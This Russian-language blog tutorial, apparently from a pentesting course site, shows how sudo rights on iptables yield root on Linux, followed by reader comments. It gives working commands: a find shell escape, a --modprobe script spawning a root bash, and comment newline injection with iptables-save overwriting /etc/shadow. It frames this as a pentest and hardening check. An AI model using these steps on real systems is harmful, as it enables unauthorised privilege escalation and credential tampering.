Полагаю, что большинство читателей знают, о том, что команда sudo может быть использована для выполнения других команд с правами другого пользователя, которым обычно является root.

Также полагаю, что многие знают о существовании ресурса https://gtfobins.github.io/ на котором можно узнать о небезопасном использовании некоторых команд Linux.

Например, мы можем получить шелл root просто выполнив команду:

sudo find . -exec /bin/sh \; -quit

То есть, нам достаточно иметь sudo на выполнение отдельной команды find, для того, чтобы захватить всю систему.

Однако, не все небезопасные команды есть в вписке этого ресурса и сегодня мы поговорим о том, как получить права root с помощью iptables.

Iptables — это утилита пользовательского пространства в Linux, используемая для настройки правил фильтрации пакетов в брандмауэре ядра Linux, называемом netfilter. По сути, это инструмент командной строки, позволяющий администраторам управлять обработкой сетевого трафика системой.

У iptables есть параметр ‑modprobe, предназначенный для загрузки всех необходимых модулей при добавлении правил в цепочку.

--modprobe=команда

Изучив исходный код iptables, мы видим, что если был указан флаг ‑modprobe, то вызывается функция int xtables_load_ko(const char *modprobe, bool quiet), первым параметром которой является команда modprobe, указанная пользователем.

В качестве первого шага функция xtables_load_ko проверяет, были ли уже загружены необходимые модули, а если нет, то вызывает функцию int xtables_insmod(const char modname, const char modprobe, bool quiet), вторым параметром которой является указанная пользователем команда modprobe.

Наконец, функция xtables_insmod запускает команду, указанную в аргументе ‑modprobe, с помощью системного вызова execv:

int xtables_insmod(const char modname, const char modprobe, bool quiet)
{
               char *buf = NULL;
               char *argv[4];
               int status;
               /* If they don't explicitly set it, read out of kernel */
               if (!modprobe) {
                              buf = get_modprobe();
                              if (!buf)
                                            return -1;
                              modprobe = buf;
               }
               /*
                * Need to flush the buffer, or the child may output it again
                * when switching the program thru execv.
                */
               fflush(stdout);
               switch (vfork()) {
               case 0:
                              argv[0] = (char *)modprobe;
                              argv[1] = (char *)modname;
                              if (quiet) {
                                            argv[2] = "-q";
                                            argv[3] = NULL;
                              } else {
                                            argv[2] = NULL;
                                            argv[3] = NULL;
                              }
                              execv(argv[0], argv);
                              /* not usually reached */
                              exit(1);
               case -1:
                              free(buf);
                              return -1;
               default: /* parent */
                              wait(&status);
               }

               free(buf);
               if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
                              return 0;
               return -1;
}

В итоге, если мы можем запустить iptables от имени root (то есть, помощью sudo), мы можем использовать его для выполнения произвольных системных команд.

Например, в следующем сценарии мы получим интерактивную оболочку root:

#!/bin/bash
echo -e "/bin/bash -i" > run-me
chmod +x run-me
sudo iptables -L -t nat --modprobe=./run-me

В этом примере мы создаем файл модуля run‑me, делаем его выполнимым и затем подгружаем в iptables. В результате мы получаем командную строку с правами root.

Хотя эта техника довольно мощная, у нее есть важное требование: модули ядра, к которым пытается обратиться iptables, не должны быть загружены.

И здесь возникает главная проблема: в большинстве современных дистрибутивов Linux модули уже загружены, что делает атаку практически невыполнимой. Тем не менее, в случае встраиваемых устройств iptables все еще эффективен.

Однако, опускать руки рано. Проведем несколько экспериментов с iptables в Ubuntu 24.04 LTS.

Установим iptables и в файл /etc/sudoers добавим следующее:

user ALL=(ALL) NOPASSWD: /usr/bin/iptables

user ALL=(ALL) NOPASSWD: /usr/bin/iptables-save

Закомментируем общее разрешение для всех:

%sudo ALL=(ALL:ALL) ALL

Посмотрим ответ sudo ‑l

Таким образом, команды sudo iptables или sudo iptables‑save выполняются без запроса аутентификации.

Теперь вернемся к нашей основной задаче — получению прав root.

Рассмотрим простую команду iptables для добавления правила брандмауэра:

sudo iptables -A INPUT -i lo -j ACCEPT

Результат работы этой команды заключается в добавлении правила к входной цепочке для приема всех входящих пакетов, где входной интерфейс является локальным. Мы можем немедленно проверить действие этого правила, выполнив команду sudo iptables ‑L. Выход этой команды, как и ожидалось, содержит правило ACCEPT, которое мы только что загрузили.

Казалось бы все просто и правильно. Но, среди флагов поддерживаемых iptables есть флаг comment, который позволяет добавлять комментарии (до 256 символов) к любому правилу. ‑Например: iptables ‑A INPUT ‑s 192.168.0.0/16 ‑m comment ‑comment «Private IP block».

Давайте проверим это, слегка изменив наше предыдущее правило:

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"

Затем, снова перечислив правила, мы можем увидеть эффект от комментария:

iptables также предоставляет возможность сделать дамп всех загруженных правил, выполнив iptables ‑S:

Мы можем добавить новую строку

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'

Снова сделаем дамп:

Это определенно интересно — мы выяснили, что iptables сохраняет новые строки в комментариях, а это значит, что мы можем управлять несколькими произвольными строками в выводе дампа правил iptables.

Прежде чем приступать к выполнению команд, давайте разберемся с командами iptables‑save и ip6tables‑save, которые используются для вывода содержимого IP‑ или IPv6-таблицы в легко разбираемом формате либо в STDOUT, либо в указанный файл.

Похоже, что iptables‑save тоже сохраняет введенную новую строку. Теперь, когда мы это знаем, мы можем проверить его работоспособность, указав имя файла и поставив ключ ‑f:

Теперь мы можем перейти к основной части нашего эксплоита — получению прав root. Используя произвольные комментарии, содержащие \n, через iptables и запустив iptables‑save, мы можем писать произвольные файлы от имени root и частично контролировать его строки — частично, да, потому что iptables‑save выводит некоторые данные, которые нельзя контролировать, до и после нашего введенного комментария.

Давайте попробуем записать вполне корректную запись passwd root в правило iptables и перезаписать файл /etc/shadow через iptables‑save. Поскольку инжектированная строка будет также содержать хэш пароля пользователя, после перезаписи мы сможем просто запустить su root и ввести инжектированный пароль.

Для воспроизведения атаки выполним следующие шаги:

Зашифруем новый пароль root в нужном формате, выполнив openssl passwd <password>

Возьмем запись для root в файле /etc/shadow и скопируем ее куда‑нибудь, заменив значение x в зашифрованном пароле значением, полученным на предыдущем шаге

Внесем поддельную запись root в новый комментарий правила iptables.

Выполним команду

sudo iptables-save -f /etc/shadow

В результате мы изменили содержимое /etc/shadow, указав хеш известного нам пароля root. Теперь мы можем просто переключиться на привилегированного пользователя и получить долгожданный шелл root.

Заключение

Мы рассмотрели некоторые манипуляции, которые можно проделать с iptables для получения прав привилегированного пользователя. Конечно, у нас есть некоторые существенные ограничения, прежде всего это необходимость наличия прав sudo для iptables. Администраторы далеко не всегда дают такие права обычным пользователям. Однако, при наличии нужных прав реализовать данную атаку вполне возможно.

Таким образом, использование iptables это еще один вектор атаки для пентестеров и еще один пункт проверки защищенности системы для безопасников.


Если вам близка тема практической безопасности, обратите внимание на серию открытых уроков курса «Пентест. Инструменты и методы проникновения в действии».

Также вы можете пройти бесплатное тестирование по курсу пентестинга — узнаете, подойдет ли лично вам программа курса.

Чтобы оставаться в курсе самых актуальных технологий и трендов, подписывайтесь на Telegram-канал OTUS.

Комментарии (7)


  1. Spider55
    17.07.2025 18:52

    А как все же правильно? Выполнимым или выполняемым в контексте прав файла?

    По мне так выполнимая может быть задача или невыполнимая, а файл все же выполняемый.


    1. censor2005
      17.07.2025 18:52

      Исполняемый?


  1. Yami-no-Ryuu
    17.07.2025 18:52

    Ну как бы by design. Нечего юзеру напрямую iptables дергать. RSBAC в помощь, если нужны под-админы.


  1. sergio_nsk
    17.07.2025 18:52

    Много путаницы с - и _.


  1. apevzner
    17.07.2025 18:52

    В итоге, если мы можем запустить iptables от имени root (то есть, помощью sudo), мы можем использовать его для выполнения произвольных системных команд.

    Я что-то не понимаю. Если у нас есть возможность что-то запускать от имени root, то вроде у нас все права уже и без того есть. Зачем к этой конструкции привлекать еще и iptables

    Установим iptables и в файл /etc/sudoers добавим следующее:

    Ну да. Если ослабить правила sudo, они будут ослабленными :-) В этом вроде нет ничего неожиданного.

    Если какая-то команда выглядит безобидно, но требует рутовых прав, может, она не столь уж и безобидна? Может не надо ее всем пользователям подряд так вот бездумно открывать?


    1. clackx
      17.07.2025 18:52

      что-то запускать от имени root, то вроде у нас все права уже и без того есть.

      В файле sudoers разрешено выполнение только двух команд: iptables и iptables-save


    1. 13werwolf13
      17.07.2025 18:52

      Представим ситуацию. В контору нанят некий персонаж, его ответственность на некоторых конкретных серверах заканчивается исключительно на изменении правил iptables. Вот ему админы и разрешили sudo только для iptables. А он оказался нечистым на руку или попросту мудаком, вот вам и вектор атаки.

      Нечто подобное мои знакомые проходили выдав девочке из HR права на создание учёток и выдачу им прав доступа через добавление в определённые группы (не в консольке разумеется, а через самописный web ui с аутентификацией через pam). Как выяснилось позже в дёргаемом вебмордой скрипте не хватало проверки на дурака, чем и воспользовался некий шутник выдав себе группу админов и поменяв всей конторе обои на какую-то дрянь. Подробностей увы не помню.

      Суть статьи в том что некоторые утилиты позволяют нехитрыми методами сделать больше чем ты думаешь если включить немного фантазии, поэтому выдавать права на них опасно. А лучше вообще не лазить руками на сервера а познать магию IaC со всеми вытекающими..